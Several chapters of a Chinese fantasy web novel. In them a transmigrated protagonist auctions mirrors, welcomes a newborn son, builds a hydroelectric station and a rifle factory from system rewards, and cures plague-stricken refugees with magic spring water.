沈砚秋倒吸一口凉气。
不到一两?
就这清晰度,这做工,拿到市面上,哪怕是几十两,也有的是人抢破头!
“这又是你要做的买卖?”沈砚秋深吸一口气,平复了一下心情。
“那是自然。”江夜拿回镜子,用袖口擦了擦,“这
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乱世,粮食是硬通货,但这玩意儿,是收割富人钱袋子的镰刀。”
“你想怎么卖?”
“这事儿,得找你爹。”江夜嘴角勾起一抹坏笑。
沈砚秋一愣:“我爹?”
江夜把玩着镜子,“这种好东西,不在青石县卖,这里都的人并不富裕。”
“要卖,就去京城,去江南。卖给那些达官显贵。”
江夜站起身,目光望向远方,“我要让这镜子,成为大宣朝奢侈的物件!”
……
半个月后。
京城,沈家商号。
沈秉钧看着面前摆放的十面镜子,手里的茶盏“啪”的一声摔得粉碎。
他活了大半辈子,什么稀罕物件没见过?
可眼前这东西,简直颠覆了他的认知。
“这……这真的是江夜做出来的?”沈秉钧激动得胡子都在抖。
负责押送货物的护院咧嘴一笑:“沈老爷,我家东家说了,这叫‘琉璃镜’,第一批只有十面。起拍价,五百两银子。”
“五百两银子?”沈秉钧眼皮狂跳。
这简直是抢钱啊!
但他转念一想,看着镜中那毫发毕现的倒影,又觉得这个价格……似乎也不是不能接受。
“好!好小子!”沈秉钧一拍大桌,“这买卖,老夫接了!”
三日后,一场特殊的拍卖会在京城最大的酒楼举行。
当红布掀开的那一刻,整个酒楼瞬间炸了锅。
那些平日里端庄持重的诰命夫人、千金小姐,此刻一个个像是疯了一样,完全顾不上仪态,拼命地往前挤,只为了看一眼那传说中的“琉璃镜”。
“天呐!那是谁?那是我吗?”
“太清楚了!连我刚点的胭脂都看得一清二楚!”
“买!一定要买!我不吃饭也要买!”
第一面镜子,被一位侯爵夫人以六百两银子的高价拍走。
剩下的九面,价格更是一路飙升。
最后一面,甚至拍出了六千两的高价的天价,被一位神秘的皇商收入囊中,据说要献给宫里的那位贵妃娘娘。
短短一天,沈家商号进账十万两!
消息传回稻花村时,江夜正躺在摇椅上晒太阳。
“十万两?”
听到这个数字,正在算账的沈砚秋手一抖,朱笔在账册上划出一道长长的红痕。
她抬头看着那个闭目养神的男人,眼神复杂到了极点。
这跟捡钱有什么区别?
第249章 麟儿降世,名曰江山
深秋萧瑟,秋风卷着落叶在路面上打着旋儿。
往日里喧嚣热闹的江家大院,今日却静得有些吓人。
连平日里最爱在院子里撒欢的团子,都趴在墙根底下。
所有的下人走路都踮着脚尖,大气不敢出,透着股子紧张。
产房门口。
白梦秋满脸焦急地望着那扇紧闭的房门:“这都进去两个时辰了,怎么还没动静?”
林间雪手有些抖,小声道:“稳婆说……说是头胎,没那么快。”
就在这时,院外传来一阵急促的马蹄声。
“让开!都给老夫让开!”
一声中气十足声音从院外传来。
沈秉钧发冠微乱,一身风尘仆仆,显然是一路狂奔而来。
他的身后跟着两个背着药箱的老者,还有三个看着就精明强干的妇人。
“沈大人,您怎么来了?”白梦夏连忙迎上去。
沈秉钧哪里顾得上寒暄,直接道:“消息一到郡城,老夫就连夜赶来了!这可是秋儿的头胎,马虎不得!这两位是回春堂的圣手,那三个是郡城最好的稳婆,快,都进去!”
产房门被推开。
按照大宣的规矩,产房是污秽之地,男子不得入内。
但沈秉钧一眼便瞥见了屋内的景象,眼珠子差点瞪出来。
只见江夜,正坐在床头,手里端着一碗参汤在喂着沈砚秋。
沈秉钧指着江夜,胡子乱颤,“你怎么在里面?这不合规矩!快出来!”
江夜头都没回:“我是她男人,有什么不合规矩的?”
江辰说完,房门便毫不留情的从里面关上了。
沈秉钧看着门板瞪眼,最后语气复杂的嘟囔了一句:“混小子……倒是个疼媳妇的。”
……
与此同时,屋内床榻上,沈砚秋早已被汗水湿透,几缕发丝贴在苍白的脸颊上。
她死死咬着嘴唇,下唇甚至渗出了血丝,双手紧紧抓着床单,指节青白。
剧痛如潮水般一波波袭来。
换做寻常女子,此刻怕是早已哭天抢地。
但她哪怕疼得浑身痉挛,她愣是一声没吭,只是喉咙里偶尔发出几声压抑的闷哼。
“喝一口,听话。”江夜眼神里满是心疼。
沈砚秋虚弱地扯了扯嘴角:“你……出去。我现在的样子……难看。”
“好看。”江夜把参汤喂进她嘴里,替她擦去额头的汗,“比什么时候都好看。”
几个稳婆见状,面面相觑,想劝又不敢劝。
“都愣着干什么?干活!”江夜冷冷地扫了那几个稳婆一眼。
几个稳婆吓得一激灵,赶紧忙活起来。
……
又过去了半个时辰,产房里终于有动静了。
“夫人,用力!看到头了!”
沈砚秋猛地仰起头,脖颈上青筋暴起,一声凄厉的低吼终于从喉咙深处爆发出来。
门外的沈秉钧急得团团转。
突然。
“哇——!!!”
一声嘹亮至极的啼哭声,瞬间穿透了屋顶。
这哭声中气十足。
产房内,所有人都松了一口气。
沈砚秋瘫软在床上,脸上却浮现出一抹笑容。
“恭喜江先生!贺喜江先生!”
稳婆用早已备好的温水洗净婴儿,用柔软的棉布包裹好,抱了过来:“是个带把儿的小公子!这哭声,老婆子接生这么多年,就没听过这么响亮的!”
江夜先低头在沈砚秋额头上亲了一口:“辛苦了。”
沈砚秋眼眶微红,推了推他:“给我……看看孩子。”
江夜这才转过身,从稳婆手里接过那个皱巴巴的小
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家伙。
这小子闭着眼,还在扯着嗓子嚎,两只小手在空中乱抓,劲儿大得很。
“儿子?”江夜逗弄着怀中的孩子,咧开嘴笑的开心。
还没来得及将孩子抱给沈砚秋,房门便“砰”地一声从外面被推开了。
沈秉钧再也顾不上什么礼数,跌跌撞撞地冲了进来,身后还跟着一脸喜色的白梦夏等人。
“生了?生了!”
老头子看着江夜怀里的襁褓,激动得老泪纵横,双手此刻颤抖得厉害。
“给我……快给我抱抱!”
江夜怕老头子激动过头手滑,小心翼翼地递了过去。
沈秉钧如获至宝,把孩子抱在怀里,浑浊的老眼里满是慈爱。
小家伙似乎感觉到了换了怀抱,哭声停了一瞬,随即扯开嗓子嚎得更凶了。
这声音,透着一股子不服输的劲儿。
“这孩子,是个将种!”,沈秉钧仰天大笑三声,“哭声如雷!好!好!”
他低下头,看着襁褓中的婴儿,眼神变得深邃而狂热。
“这乱世,就需要这样的种!”
沈秉钧沉吟片刻,目光扫过屋内的众人,最后落在江夜身上。
“这孩子,便叫‘江山’!”
屋内瞬间一静。
江山。
指点江山,气吞**。
这个名字大到一般的命格根本压不住。
若是放在太平盛世,这名字便是大逆不道,是要掉脑袋的。
但现在……
江夜看着那个还在哇哇大哭的小崽子,眼中精光一闪。
他嘴角勾起一抹狂傲的弧度。
“江山……好名字。”
“我的儿子,自然能掌这**江山!”
沈砚秋躺在床上,听着这一老一少定下的名字,无奈地摇了摇头,眼中却满是纵容。
第250章 驯服天雷
沈秉钧抱着刚出生的外孙,嘴里念叨着“江山”二字,越看越觉得这孩子眉宇间透着股帝王气。
江夜站在一旁,脑海里早已炸开了锅。
那连串的机械提示音,无比嘹亮。
【叮!恭喜宿主诞下子嗣,家族气运提升!】
【奖励发放1:微型水力发电站图纸及核心发电机组(全套)!】
【奖励发放2:便携式石油勘探设备*1(含钻探机)!】
【奖励发放3:现代**生产线(初级,含**复装机)!】
江夜瞳孔猛地收缩。
前两个也就罢了,电和油是工业的血液,有了这两样,稻花村才算是真正迈进了工业化的门槛。
但这第三个……
**生产线!
虽然是“初级”,但这对于冷兵器时代来说,简直就是降维打击。
只要这条生产线转动起来,什么铁骑冲锋,什么重甲步兵,在金属风暴面前,都将变成一张薄纸。
江夜只觉得喉咙发干,心脏狂跳。
另一边沈秉钧终于也抱够了,小心翼翼地把孩子放回沈砚秋身边,转头拍了拍江夜的肩膀,“老夫这就修书一封,让人送回老家报喜!”
江夜回过神,压下眼底的狂热,嘴角挂着淡淡的笑:“岳父大人高兴就好。”
他转过身,走到床榻边。
沈砚秋此时已经累极,眼皮沉重,但仍强撑着不想睡。
“累了就睡会儿。”江夜伸手理了理她被汗水浸湿的鬓发,动作轻柔,“我就在这儿,哪也不去。”
沈砚秋看了眼身边熟睡的婴儿,又看了看江夜,轻轻“嗯”了一声,握着江夜的一根手指,沉沉睡去。
直到此时,江夜才长出了一口气。
看着这一大一小,他眼中的杀伐之气散去,只剩下为人夫、为人父的温存。
……
深夜,一道人影悄无声息地出了江家大院。
墙根下,原本趴着打盹的团子耳朵一抖,瞬间起身,那双幽绿的兽瞳里闪过一丝警惕,待看清来人是江夜后,立刻摇着尾巴凑了上来,硕大的脑袋在江夜腿边蹭了蹭。
“嘘。”
江夜拍了拍它的脑袋,“走,干活去。”
一人一兽,径直朝着后山深处掠去。
稻花村的后山,如今已是江夜的私人领地。
他这次的目标,是一片更深区域。
他在脑中调出那张水力发电站的图纸,各种数据和要求清晰地浮现。
选址,是第一步,也是最关键的一步。
他需要一个地势落差足够大、水流量常年稳定、且足够隐蔽的地方。
团子的速度极快,穿林过涧,如履平地,而江夜则是跟在团子身后不断观察着周围的地形。
约莫半个时辰后,一阵“轰隆隆”的水声由远及近,在寂静的山林中显得格外清晰。
江夜眼神一亮,拍了拍团子的脖子。
团子会意,朝着水声传来的方向奔去。
穿过一片茂密的丛林,眼前豁然开朗。
只见一道宽约十余米的瀑布,从三十多米高的悬崖上倾泻而下,如同一条银色的天河,狠狠砸入下方深不见底的潭水之中,激起漫天水雾。
瀑布两侧是陡峭的岩壁,形成一个天然的“U”形峡谷,入口狭窄,腹地却颇为开阔。
“就是这里了!”
江夜眼中的兴奋几乎要溢出来。
这里简直是为水力发电站量身打造的宝地!
他可以在瀑布上游筑起一道水坝,抬高水位,形成巨大的势能。
再从大坝底部引出压力管道,将水流导向安装在峡谷底部的涡轮发电机组。
湍急的水流冲击涡轮,带动发电机高速旋转,将水的动能,转化为这个时代的人无法理解的力量——电。
而这险峻的峡谷,本身就是最好的天然屏障。
只要封锁住入口,这里发生的一切,都将是与世隔绝的秘密。
江夜站在这轰鸣的瀑布前,站了许久,直到身上的衣服都被水汽打湿,才转身拍了拍团子的脑袋。
“回去了。”
第二天一早。
江夜召集了一百名最精锐的死士。
他们没有在军营集合,而是直接被带到了这处隐蔽的峡谷之中。
一百名身穿黑色劲装、气息沉凝的死士站在瀑布前的空地上,鸦雀无声。
江夜站在他们面前,神情冷肃。
他的声清晰地传入每一个人的耳朵里。
“你们脚下的这片地方,从今天起,将是稻花村最高等级的禁区。你们的任务,就是守住这里。”
江夜的目光如刀,缓缓扫过每一个人的脸。
“我不管你们用什么方法,挖陷阱也好,设暗哨也罢。从今天起,周围五里之内,不得有任何一个未经允许的活物靠近,不管是人,还是野兽。”
他顿了
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顿,语气变得冰寒刺骨。
“若有闯入者,警告无效,格杀勿论!”
“是!”
一百人齐声低吼,声浪竟隐隐压过了瀑布的轰鸣。
他们的眼神里没有疑惑,只有绝对的服从。
江夜点了点头,下达了最后的指令:“封锁峡谷!”
“是!”
一百名死士立刻行动起来,一部分人如猿猴般攀上两侧的峭壁,占据制高点,另一部分人则迅速散开,在峡谷入口和外围的丛林中布设警戒线和致命的陷阱。
不过短短一炷香的功夫,这片风景秀丽的世外桃源,便化作了一座杀机四伏的堡垒。
江夜没有浪费一分一秒的时间,做完这一切,他立刻拿出了那张【微型水电站图纸】。
图纸上的结构复杂无比,充满了各种匪夷所思的符号和线条,别说这个时代的人,就是拿到现代,也只有专业工程师才能看懂。
但在拥有【神级工匠技艺】的江夜眼中,这图纸上的每一个细节都清晰明了,仿佛刻印在脑子里一样。
“第一队,截流!按照我画的线,挖开那边的引水渠!”
“第二队,伐木!我要直径一尺以上的硬木,做成模具!”
“第三队,采石!把石头砸成拳头大小,在那边堆放好!”
“第四队,去河边挖沙!要最细的河沙!”
江夜站在一块巨石上,有条不紊地发号施令。
命令一下,一百名体能远超常人的死士立刻行动起来。
他们没有多余的言语,只有工具与山石碰撞的铿锵声。
巨大的树木被砍倒,在峡谷中搭建起临时的截流大坝。
坚硬的岩石在钢钎和铁锤下一点点崩裂,一条笔直的水渠雏形初现。
一袋袋在旁人看来无比神秘的灰色粉末——水泥,与沙石、清水混合后,变成了可塑形的“泥浆”,被灌入用木板搭建好的模具之中。
江夜亲自站在工地上,时而指点死士修正角度,时而亲自上手调配水泥的比例。
短短半个月时间,在不计成本的人力物力投入下,峡谷的地形已然大变。
狂暴的瀑布被一道坚固的临时堤坝拦腰截断,原本奔腾的河道变得干涸,露出了布满鹅卵石的河床。
而在瀑布的一侧,一条宽阔平整的水泥渠道已经成型,旁边,一个巨大而复杂的水泥基座也已浇筑完毕,静静地矗立在那里。
第251章 电力
一个月的时间,对于稻花村的村民来说,也就是地里的庄稼又高了一寸。
但对于后山禁地而言,这是改天换地的变化。
一座灰白色的混凝土大坝横亘在两崖。
水流顺着引水渠咆哮而下,狠狠撞击在底部的涡轮叶片上,发出沉闷如雷的轰鸣。
江夜穿着一身短打,手里拿着扳手,正对着最后一颗螺母较劲。
“主人,这……这也太大了。”
死士站在一旁,看着眼前这台巨大的金属疙瘩,眼神里也透着一丝敬畏。
这玩意儿光是看着,就有一股子说不出的压迫感。
江夜扔下扳手,抹了一把脸上的油泥,走到控制台前。
闸刀冰冷粗糙。
这一刻,他竟然久违地感觉到了一丝紧张。
“都退后,别眨眼。”
江夜嘴角微扬,手上猛地发力,将闸刀狠狠合上。
“嗡——”
低沉的电流声瞬间响起。
刺啦。
紧接着,悬挂在厂房顶部的二十盏大功率白炽灯,在此刻同时亮起。
原本昏暗的峡谷厂房,在这一瞬间,亮如白昼!
强光刺破了黑暗,将每一个角落都照得纤毫毕现。
周围的死士们浑身一僵,下意识地抬手遮眼。
在他们的认知里,只有天上的太阳和雷电才有这般光亮。
“主人果然是天神下凡!”
江夜看着头顶那略显刺眼的灯光,长舒了一口气。
他转身,对死士吩咐道,“去,把我大哥叫来。”
“遵命,主人。”
……
江峰正在家里给媳妇洗脚。
自从江夜发迹,他这个当大哥的虽然日子好过了,但在家里还是那个憨厚的老实人。
“这一天天神神秘秘的,二弟到底在后山搞什么?”嫂子一边享受着丈夫的按摩,一边嘀咕,“昨儿个我看那车队拉了一车黑乎乎的石头进去,也不像是盖房子用的。”
“他做事有分寸,咱们别瞎打听。”江峰擦了擦手上的水,“只要不违法乱纪,他就是把天捅个窟窿,那也是为了咱们**家。”
话音刚落,院门被敲响。
江峰一开门,就看见一名死士恭敬地站在门口。
“大爷,主人请您去后山一趟。”
江峰心里咯噔一下。
这大半夜的,莫不是出了什么事?
他也不敢耽搁,跟媳妇交代了一声,便跟着死士走了。
跟着死士来到后山深处,江峰越往里走,心中就越是震惊,
当到了目的地,他看清楚眼前的一切。
整个人像是被雷劈了一样,僵在原地,嘴巴张大得能塞进一个拳头。
“这……这……”
眼前是一个巨大的厂房,却亮堂得如同正午的日头底下。
头顶上挂着的不是灯笼,而是一个个发光的小圆球。
“我是不是还没睡醒?”
江峰狠狠掐了自己大腿一把,疼得龇牙咧嘴。
江夜笑着走过来,拍了拍大哥满是木屑的肩膀:“醒着呢,哥。”
“这……这是啥?你怎么把太阳摘下来了?”江峰指着头顶的灯泡,手都在抖。
“这叫电灯,以后晚上也能跟白天一样亮堂。”
江夜没过多解释,拉着还在发懵的江峰走到厂房深处。
那里,静静地趴着一条长达数十米的钢铁怪兽。
这是系统奖励的【现代**生产线】。
传送带、冲压机、车床、钻床……复杂的机械结构紧密咬合。
“哥,把你叫来,是有件天大的事要交给你。”
江夜收起笑容,神色变得前所未有的严肃。
江峰被这气氛感染,也挺直了腰杆:“你说,只要哥能办到的,豁出这条命也给你办!”
“不用你的命,我要你守住这个厂子。”
江夜指着那条生产线,“从今天起,你负责管理这里,这里生产的东西,能决定咱们江家,甚至整个天下的生死存亡。”
“这么……严重?”江峰咽了口唾沫。
“就是这里的大管家。除了我,你最大。”江夜盯着他的眼睛,“这里的秘密,除了这些死士,哪怕是嫂子,也不能透露半个字。”
江峰身子一震。
他看着弟弟眼中的信任,那股子憨劲儿和血性瞬间涌了上来。
他不懂什么叫电,也不懂这些铁疙瘩是干啥的,但他知道,弟弟把命脉交到了他手里。
“你放心。”江峰把胸脯拍得邦邦响,眼眶通红,“只要哥还有一口气,谁也别想靠近这儿半步!天王老子来了也不行!”
“好!”
……
接下来的几天,江峰彻底住在了这个峡谷里。
在江夜手把手的指导下,他开始学习如何管理这座“兵工厂”。
当第一批特种钢材,被运进厂房时。
江夜亲自上阵,开始调试生产线。
“启动一号冲压机!”
随着江夜一声令下,一名死士按下开关。
“轰!咔嚓!”
巨大的冲压机猛然下砸,一块厚实的钢板瞬间被冲压成了****的雏形。
紧接着,**被机械臂抓取,送入下一道工序。
钻孔、铣削、切割……
在刺耳的金属摩擦声和飞溅的火花中,一个个精密的零件被制造出来,再通过传送带汇集到最后的组装环节。
江峰和周围的死士们,呆呆地看着这一幕。
在他们眼里,这简直就是点石成金的法术。
经过了整整三天的调试与摸索。
伴随着
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“咔哒”一声轻响,生产线的末端,一支出厂不久还带着机油温热的崭新**,缓缓滑落到成品箱中。
通体黝黑的枪身,流畅而充满力量感的线条,沉稳的木质**,每一个细节都透着一股冰冷的杀戮之美。
正是领先这个时代近千年的杀戮利器——56式半自动**!
修长的枪身泛着幽蓝的冷光,护木是上好的胡桃木打磨而成,手感温润厚实。
枪口下方,折叠着一把寒光闪闪的**。
56式半自动**。
曾经的“步兵之王”,耐用、精准、凶悍。
江峰凑过来,摸了摸那冰冷的**,“看着倒是挺结实,就是没刃口,怎么**?拿来砸?”
江夜笑了,从旁边的箱子里抓出一把黄澄澄的**。
压弹入仓。
咔嚓。
**拉动,清脆的金属撞击声在厂房里回荡,听得人头皮发麻。
“哥,看好了。”
江夜端起枪,**死死抵住肩窝,目光通过准星,锁定了三百米外岩壁上的一块凸起的青石。
那个距离,寻常弓箭手连看都看不清,更别说射中了。
江峰屏住呼吸,虽然不知道弟弟要干什么,但他本能地感觉到了一股危险的气息。
“砰!”
一声爆响,如同平地惊雷。
枪口喷出一团耀眼的火舌。
巨大的回声在峡谷里来回激荡,震得人耳朵嗡嗡作响。
远处,那块拳头大小的青石瞬间炸裂,碎石飞溅,腾起一片烟尘。
“我的娘嘞!”
江峰一屁股坐在地上,脸色煞白。
没有弓弦,没有暗器,就听个响,三百米外的石头就炸了?
这要是打在人身上……
江峰不敢想,他是个猎户,最知道距离和威力的关系。
三百米,哪怕是**也是**之末,可这玩意儿,威力大得吓人!
江夜吹散枪口的青烟,把枪递给还在发抖的江峰。
“这叫**。有了它,哪怕是一个没练过武的农夫,也能在百步之外,取上将首级。”
江峰颤抖着手接过这杆“神兵”。
沉。
真的很沉。
“这东西,咱们能造多少?”江峰声音沙哑,眼睛却渐渐红了。
他虽然老实,但不傻。
这乱世,人命如草芥。
有了这东西,稻花村就真的成了铁桶江山,谁也别想欺负他们**家!
“只要材料够,一天能造十杆。”江夜淡淡道。
“十杆?!”江峰猛地站起来,“一天十杆,十天就是一百杆……那咱们还怕个鸟的土匪官兵!”
江夜看着大哥震惊的样子,满意的笑笑,这**现在虽然产量低,但足以武装核心部队了足够了。
第252章 瘟疫围城,活人便是资源
入冬的第一场雪,下得格外大。
鹅毛般的雪花漫天卷地,将整个青石县裹进了一片银白之中。
后山工坊那边热火朝天,机器的轰鸣声日夜不休,那新建成的水力发电站源源不断地输送着能量。
然而,这份安宁并未持续太久。
邻县长林县,出事了。
一场突如其来的瘟疫,短短数日便席卷了整个长林。
起初只是发热呕吐,紧接着便是浑身溃烂,死状极惨。
长林县令怕担责,竟下令封锁县城,只进不出。
活不下去的百姓趁夜冲破关卡,拖家带口,如丧家之犬般朝着唯一的生路——青石县涌来。
……
青石县县衙,暖阁内。
炭盆里的银丝炭烧得正旺,偶尔发出轻微的噼啪声。
沈砚秋刚出月子不过两月有余,身子还有些虚,此刻穿着一身宽大的官袍坐在太师椅上。
她手里死死攥着一封刚送来的加急文书,指节因为用力而泛白。
“大人,边境守军快顶不住了。”
**跪在地上,额头贴着冰冷的地砖,声音都在哆嗦,“那是三万流民啊!黑压压的一片,全是病患。
守城的兄弟们怕染病,根本不敢靠近,可若是放箭射杀……那可是几万条人命啊!”
沈砚秋身子晃了晃,手中的文书飘落在地。
那是人间炼狱。
“不能放……绝对不能放……”沈砚秋喃喃自语,眼眶通红,“一旦瘟疫入城,青石县十几万百姓就完了。
可若是不放,难道眼睁睁看着他们在雪地里冻死、病死?”
“吱呀——”
暖阁的门被推开,一股寒风裹挟着雪花卷入,又迅速被屋内的热气吞噬。
江夜披着一件黑色大氅,手里提着一个食盒走了进来。
“刚出月子就这般拼命,不要身子了?”
他随手关上门,将食盒放在桌上,盛出一碗热气腾腾的乌鸡汤,“趁热喝,我特意加了当归和黄芪。”
沈砚秋哪里喝得下。
她像是看到了救命稻草,猛地扑进江夜怀里,一直强撑的坚强在这一刻土崩瓦解。
“江夜……救救他们。”
沈砚秋抓着江夜的衣襟,“长林县完了,几万人在边境哭嚎,那声音……守军说隔着二里地都能听见。我一想到那些百姓在雪地里等死,我这心里……”
江夜单手揽住她单薄的脊背,另一只手捡起地上的文书。
一目十行。
瘟疫。流民。三万人。
江夜的眼神瞬间冷了下来。
他轻轻拍着沈砚秋的后背,声音低沉平稳:“别慌,天塌不下来。”
“可是那是瘟疫!回春堂的大夫都说了,染上就是个死!”沈砚秋抬起头,眼中满是绝望。
“这世上,就没有必死的局。”
江夜将她扶回椅子上坐好,把那碗鸡汤塞进她手里,“喝了它。你是青石县的天,你若是乱了,这县城才真的完了。”
看着沈砚秋颤抖着手将鸡汤送入口中,江夜在心中思量。
后山的兵工厂要扩建,需要人手。
刚发现的铁矿要开采,需要苦力。
还要修路、造桥、开垦荒地。
青石县现在最缺的不是钱,不是粮,恰恰就是人!
这三万人若是能活下来,那就是三万个对他感恩戴德的死忠,是三万个廉价且听话的劳动力,更是未来的兵源储备。
至于瘟疫?
江夜嘴角勾起一抹不易察觉的弧度。
灵泉空间里的灵泉水,号称能解百毒,净化万物。
区区瘟疫,不算什么。
江夜思及此,脸上的冷厉已化作温和的笑意。
“砚秋,给我一道手谕。”
沈砚秋一愣,放下空碗:“你要做什么?”
“我要接手边防。”江夜走到桌案前,铺开一张白纸,提起朱笔,“这三万人,我全都要了。”
“你疯了!”沈砚秋大惊失色,想要站起来,“那是瘟疫!你会没命的!”
江夜按住她的肩膀,直视着她的眼睛:“相信我。我既然敢接,就有把握治好他们。你只管在县衙坐镇,剩下的,交给我。”
他的眼神太过坚定,仿佛这世间没有任何事能难倒他。
沈砚秋看着这个男人,心中涌起一股莫名的安定。
从相识到现在,他确实从未让她失望过。
“好。”
沈砚秋深吸一口气,从腰间解下官印,“调动全县兵马粮草,皆由你做主,若是你真有个三长两短……我也不活了。”
江夜接过官印,在她额头重重一吻。
“等我回来。”
江夜说完,没有过多停留,转身离开了
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暖阁。
他派王囤等人集结百名死士,争分夺秒的赶往青石县边境。
……
五日后。
青石县边境。
寒风呼啸,大雪纷飞。
一道简易的木栅栏将生与死隔绝开来。
栅栏外,黑压压的人群挤在一起,衣衫褴褛,面黄肌瘦。
咳嗽声、哭喊声、呻吟声混成一片,宛如人间地狱。
有人跪在雪地里磕头,额头都磕烂了,哀求守军给一口热水。
栅栏内,守军们手持**,脸上蒙着厚厚的布条,眼神惊恐而绝望。
“退后!都退后!谁敢靠近杀无赦!”守备官嘶吼着,声音都在发颤。
就在局面即将失控之时。
沉闷的马蹄声响起。
百余骑黑衣黑甲的骑士如利剑般刺破风雪而来。
为首一人,身材魁梧,背负一把造型夸张的巨型陌刀,正是王囤。
“东家有令!”
王囤勒住战马,声如洪钟,瞬间压过了流民的哭喊声。
“即刻起,封锁边境!任何试图强闯者,杀!”
锵!
百名死士齐刷刷拔出腰间横刀,寒光凛冽,杀气腾腾。
流民们被这股气势吓住,骚动稍止。
紧接着,几辆蒙着油布的大车缓缓驶来。
江夜站在马车上,看着底下那一张张绝望的脸,没有丝毫怜悯,只有公事公办的冷漠。
“想活命的,都给我听好了!”
江夜的声音传遍全场。
“青石县不养闲人,更不收**!但我江夜,能给你们一条活路!”
听到“活路”二字,无数双浑浊的眼睛亮了起来。
“退后五里!那里有一片空地,我会让人在那建立隔离区!”
“只要你们听话,按规矩办事。有粥喝,有药吃,有衣穿!”
“若是有人敢**,敢抢夺,敢隐瞒病情——”
江夜抬手一指旁边的一棵枯树。
砰!
一声清脆的枪响。
枯树上一根在大雪中飘摇的枝丫瞬间断裂,掉落下来。
人群瞬间死寂。
“这就是下场!”
江夜收起刚造好的**,冷冷道,“王囤!”
“在!”
“带人去五里外划线,越线者,斩!”
“是!”
王囤领命,带着护院队呼啸而去。
第253章 活**,肉白骨
五里外,一片新开辟出的河滩地被用铁丝网和木栅栏围了起来,成了临时的隔离区。
这里没有拥挤恶臭的大通铺,而是一排排整齐的帆布帐篷。
有专门挖好的厕所和排污沟,每天都有人用石灰消毒。
甚至还能保证一日两餐,虽然只是稀粥,但在这乱世,已是天堂般的待遇。
可即便是天堂,也挡不住死神的降临。
隔离区内,哀鸿遍野。
撕心裂肺的咳嗽声此起彼伏,听得人头皮发麻。
角落里,一个瘦得皮包骨头的少年旁边躺着个中年汉子,脸色呈现出一种诡异的青紫色,脖颈处全是溃烂的脓疮,胸膛起伏微弱,显然是进气多出气少。
“爹,你撑住……那个大官说了,有活路……”少年声音嘶哑。
中年汉子眼皮动了动,费力地抬起手,想推开儿子:“走……别管我……离我远点……”
这瘟疫,是要过人的。
就在这时,远处传来一阵骚动。
一队全副武装的黑甲死士迅速列队,将人群隔开。
紧接着,一个身穿怪异白色长袍,脸上戴着白色面罩的男人走了进来。
这身行头在流民眼中,竟有几分像传说中勾魂的白无常。
江夜没理会那些惊恐的目光,径直走到场地中央。
“架锅!”
一声令下,几十口巨大的铁锅被支了起来。
早已备好的干柴被点燃,火光在雪地里跳跃,带来了一丝久违的暖意。
清冽的井水被倒入锅中,煮沸。
江夜从怀里取出一个看似普通的瓷瓶。
这里面装的,正是他在灵泉空间里的灵泉水。
灵泉水可治百病,为了不暴露自己的灵泉空间,江夜便决定混合在普通药剂中,稀释后让流民们服用。
江夜走到第一口大锅前,拔开瓶塞,倾倒出一整瓶的液体。
液体落入沸水,瞬间化开。
江夜淡淡道。
“加入药包。”
王囤一挥手,立刻有两个死士抬着一个大箱子过来,将里面的药包全部扔进锅里,卖力地搅动起来。
很快,锅里的药材在沸腾的滚水下,呈现出一种黑褐色,空气中弥漫着一股浓烈的草药味。
“这……这是给咱们吃的?”
流民们嗅到了气味,纷纷上前,生怕慢了一步,药会被分光。
王囤吼了一嗓子,“排队。重病者先喝,轻症者在后。一人一碗。”
本来骚乱的人群,在听见王囤的话,又看着周围那些明晃晃的钢刀,开始老实排队。
一个少年突然冲了过来,噗通一声跪在江夜面前,不断磕头,“大人,求求您救救我爹!他快不行了!”
王囤眉头一皱,刚要呵斥这不懂规矩的小子,江夜却抬手止住了他。
“盛一碗,给他爹灌下去。”
一名死士立刻盛了一碗热汤,端到那对父子面前。
少年颤抖着手接过碗,顾不上烫,连滚带爬地回到父亲身边:“爹,喝药……快喝药……”
中年汉子牙关紧咬,早已神志不清。
少年急得大哭,死命撬开父亲的嘴,将那碗汤药灌了进去。
周围无数双眼睛都在盯着这一幕。
有麻木,也有那一丝微不可查的希冀。
时间一分一秒地过去。
那中年汉子喝下汤水后,原本还在剧烈抽搐的身体突然静止了。
“**吧?”有人小声嘀咕,“我就说没救……”
话音未落,惊人的一幕发生了。
只见那汉子原本青紫可怖的脸色,也迅速褪**气,泛起了一丝红润。
“呃……”
一声长长的呻吟从汉子喉咙里发出。
他猛地睁开眼,胸膛剧烈起伏,随后翻身趴在地上,哇地吐出一口黑血。
黑血落在雪地上,腥臭扑鼻,却也带走了体内最后的毒素。
“饿……”汉子抬起头,难股子死气沉沉已经彻底消失,“儿啊……爹…爹好像没有那么难受了!”
轰——!
整个隔离区瞬间炸开了锅。
所有人都瞪大了眼睛。
半刻钟!
仅仅半刻钟,一个眼看就要咽气的人,就这样好了?
这哪里是药?这分明是仙露!
“神仙!这是神仙下凡啊!”
那少年更是把头磕得砰砰响,额头鲜血直流:“恩公!您是活菩萨!您救了我爹的命啊!”
紧接着,黑压压的人群齐刷刷地跪倒一大片。
“活菩萨!求菩萨赐药!”
“呜呜呜……我有救了……我有救了!”
那站在大锅前的江夜,在他们眼中已经不再是凡人,而是救苦救难的真神。
“都别乱!”王囤扯着嗓子吼道,心里也是掀起了惊涛骇浪。
虽然早就知道自家东家本事大,但这手段……未免也太吓人了。
分发汤药的过程出奇的顺利。
死士们甚至不需要拔刀,只需一个眼神,那些流民就乖乖地排好队,连大气都不敢出。
喝下“神药”的人,无论病情轻重,都在短时间内好转。
高烧退去,烂疮愈合,原本等死的绝望之地,竟真的无一人再亡。
夜幕降临。
篝火旁,几万流民围坐在一起,身上虽然还穿着破烂的衣裳,但精神头却完全变了。
他们看向江夜营帐的方向,眼神狂热得吓人。
“俺这条命是江神仙给的,以后江神仙让俺干啥,俺就干啥!”
“对!咱们不回长林了!咱们要当青石人!”
一种名为“信仰”的东西,在这群一无所有的人心中疯狂滋长。
…
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…
与此同时。
长林县县衙,书房内。
“你说什么?!”
长林县令林震猛地将手中的茶盏摔在地上,碎片四溅。
他瞪着跪在地上的探子,面色扭曲:“没死?一个都没死?这怎么可能!那是瘟疫!是天谴!”
探子哆哆嗦嗦地趴在地上,头都不敢抬:“大人,千真万确啊。小的亲眼所见,那个江夜给他们喝了一种神药,喝完就好了……现在那帮贱民都在喊他活菩萨,嚷嚷着要归顺青石县!”
林震大怒,他在书房里来回踱步,呼吸急促。
他封锁县城,任由百姓自生自灭,若是这些人都死光了也就罢了,那是天灾,他最多落个“治下不力”的名声。
可现在,隔壁青石县把人救活了!
这就不是天灾了,这是人祸!是他林震无能!
更可怕的是,这三万人都想要归了青石县……
“不能……绝对不能!”
林震猛地停下脚步,眼中闪过一丝阴毒的光芒。
